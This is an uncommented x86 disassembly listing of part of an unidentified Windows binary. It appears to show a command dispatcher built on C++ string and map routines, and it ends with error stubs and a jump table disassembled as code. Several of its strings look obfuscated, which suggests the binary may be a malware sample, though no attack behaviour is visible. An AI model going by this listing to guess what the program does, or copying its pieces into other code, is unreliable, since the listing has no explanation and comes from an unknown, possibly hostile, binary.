lea ecx, [ebp - 0x48]
call fcn.0042fba0
push 0x5911fc
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x7a
call fcn.0042fba0
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7b
mov ecx, esp
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x50]
call fcn.00445a80
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x7c
mov ecx, esp
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x2c]
call fcn.00445a80
add esp, 4
mov byte [ebp - 4], 0x7d
mov edx, esi
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.00454c90
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042e590
lea ecx, [ebp - 0x50]
call fcn.0042e590
lea ecx, [ebp - 0x24]
call fcn.0042e590
lea ecx, [ebp - 0x48]
call fcn.0042e590
lea ecx, [ebp - 0x38]
call fcn.0042e590
lea ecx, [ebp - 0x1c]
call fcn.0042e590
lea ecx, [ebp - 0x3c]
call fcn.0042e590
lea ecx, [ebp - 0x44]
call fcn.0042e590
lea ecx, [ebp - 0x34]
call fcn.0042e590
lea ecx, [ebp - 0xcc]
call fcn.0042da40
jmp 0x5260c1
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0928
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044ea80
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042da40
test esi, esi
je 0x5259da
lea ecx, [ebp - 0x68]
call fcn.0042d6a0
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525994
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00526620
add esp, 4
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00406290
lea ecx, [ebp - 0x68]
call fcn.0042da40
jmp 0x5260c1
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0958
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044ea80
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042da40
test esi, esi
je 0x525a83
lea ecx, [ebp - 0x68]
call fcn.0042d6a0
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525a26
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.005265b0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044a970
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.004068a0
lea ecx, [ebp - 0x68]
call fcn.0042da40
jmp 0x5260c1
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0940
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044ea80
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042da40
test esi, esi
je 0x525ac5
call fcn.0044ea10
jmp 0x5260c1
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c09a0
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044ea80
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042da40
test esi, esi
je 0x525df5
lea ecx, [ebp - 0x68]
call fcn.0042d6a0
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525b15
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.00420590
lea ecx, [ebp - 0x44]
call fcn.00420590
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044ab80
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.0044ea30
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x525c68
push str.YUZuHcxE0fARcUxJRo
lea ecx, [ebp - 0x20]
call fcn.0042fba0
push str.NWponWFAYlGjdH
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042fba0
push str.Y0Z4TdQY0tCjgQIIUU8fDTAZhGQoiWJzMKcKh0qIMycMJHQ
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042fba0
push 0x5911fc
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x85
call fcn.0042fba0
push 0x5911fc
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x86
call fcn.0042fba0
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x6c]
call fcn.00445a80
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x40]
call fcn.00445a80
mov esi, eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x2c]
call fcn.00445a80
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x24]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00454c90
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042e590
lea ecx, [ebp - 0x40]
call fcn.0042e590
lea ecx, [ebp - 0x6c]
call fcn.0042e590
lea ecx, [ebp - 0x24]
call fcn.0042e590
lea ecx, [ebp - 0x48]
call fcn.0042e590
lea ecx, [ebp - 0x38]
call fcn.0042e590
lea ecx, [ebp - 0x3c]
call fcn.0042e590
lea ecx, [ebp - 0x20]
call fcn.0042e590
lea ecx, [ebp - 0x38]
call fcn.00420590
push str.N0tEjeExpAJQhHgaX4DUFW4z2CxVxIP1pWIOzQnBRD8lcDEI4RZkJMhaSoZoWi5mQQhVuNMwsVzZ2YL9QyowODURptfloSvPDdaxSjY5pBQ
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042f2a0
push str.RVMxwWCs8WXz0
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042f2a0
push str.U3ZWVVDoYvJSAytGjoxMNw
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042f2a0
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x525cdd
lea eax, [ebp - 0x100]
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x6c]
call fcn.00445650
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x525d00
lea eax, [ebp - 0xe4]
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x28]
call fcn.00445650
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042f2a0
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x525d32
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042e590
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x525d42
lea ecx, [ebp - 0x6c]
call fcn.0042e590
lea ecx, [ebp - 0x130]
call fcn.0042e9e0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042ef00
lea ecx, [ebp - 0x40]
call fcn.00445650
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421db0
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x40]
call fcn.0042e590
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042eed0
mov ecx, dword [ebp - 0x34]
call fcn.00521960
lea ecx, [ebp - 0x130]
call fcn.0042f050
lea ecx, [ebp - 0x100]
call fcn.0042f050
lea ecx, [ebp - 0xe4]
call fcn.0042f050
lea ecx, [ebp - 0x9c]
call fcn.0042f050
lea ecx, [ebp - 0x38]
call fcn.0042e590
lea ecx, [ebp - 0x44]
call fcn.0042e590
lea ecx, [ebp - 0x1c]
call fcn.0042e590
lea ecx, [ebp - 0x68]
call fcn.0042da40
jmp 0x5260c1
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0a78
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044ea80
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042da40
test esi, esi
je 0x525ebe
lea ecx, [ebp - 0x68]
call fcn.0042d6a0
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525e45
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 8
lea ecx, [ebp - 0x68]
push 0x5911fc
call fcn.0042c2f0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x68]
call fcn.0044af90
mov eax, dword [ebp - 0x50]
add esp, 0xc
or eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00414a40
lea ecx, [ebp - 0x68]
call fcn.0042da40
jmp 0x5260c1
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c09b8
call fcn.0042d710
lea ecx, [ebp - 0x68]
call fcn.004452c0
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044ea80
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042da40
test esi, esi
je 0x525f7d
lea ecx, [ebp - 0x68]
call fcn.0042d6a0
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525f10
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.005265b0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00526620
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042f2a0
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.00531e10
lea ecx, [ebp - 0x130]
call fcn.0042f050
lea ecx, [ebp - 0x68]
call fcn.0042da40
jmp 0x5260c1
push edi
lea ecx, [ebp - 0x44]
call fcn.0042e4b0
push str.WlNyvVy89TGTk1dJBwIbLzotyOj8gmATY9mNg
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042fba0
push str.bU5EkMQA9YIwxIxOTc
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x99
call fcn.0042fba0
lea ecx, [ebp - 0x1c]
call fcn.00420590
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x44]
call fcn.0042f2a0
lea ecx, [ebp - 0x6c]
call fcn.00430880
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x28]
call fcn.00445a80
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00421db0
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042e590
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x9b
call fcn.0042e590
push 0x5911fc
lea ecx, [ebp - 0x24]
call fcn.0042fba0
push 0x5911fc
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9e
call fcn.0042fba0
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042eed0
lea ecx, [ebp - 0x6c]
call fcn.00445a80
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5c53a4
call fcn.0042ef00
lea ecx, [ebp - 0x28]
call fcn.00445650
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00454c90
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042e590
lea ecx, [ebp - 0x6c]
call fcn.0042e590
lea ecx, [ebp - 0x20]
call fcn.0042e590
lea ecx, [ebp - 0x24]
call fcn.0042e590
lea ecx, [ebp - 0x1c]
call fcn.0042e590
lea ecx, [ebp - 0x48]
call fcn.0042e590
lea ecx, [ebp - 0x38]
call fcn.0042e590
lea ecx, [ebp - 0x44]
call fcn.0042e590
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
push str.invalid_stoi_argument
call fcn.00532819
push str.stoi_argument_out_of_range
call fcn.00532859
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
call fcn.0054e9bf
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
call fcn.0054e9bf
call fcn.0054e9bf
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push str.invalid_map_K__T__key
call fcn.00532859
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
push 0x80004005
call fcn.0042fa70
nop
mov esi, 0x54005252
push edx
push edx
add al, dl
push edx
push edx
add byte [edx - 0x13ffadae], ch
push edx
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3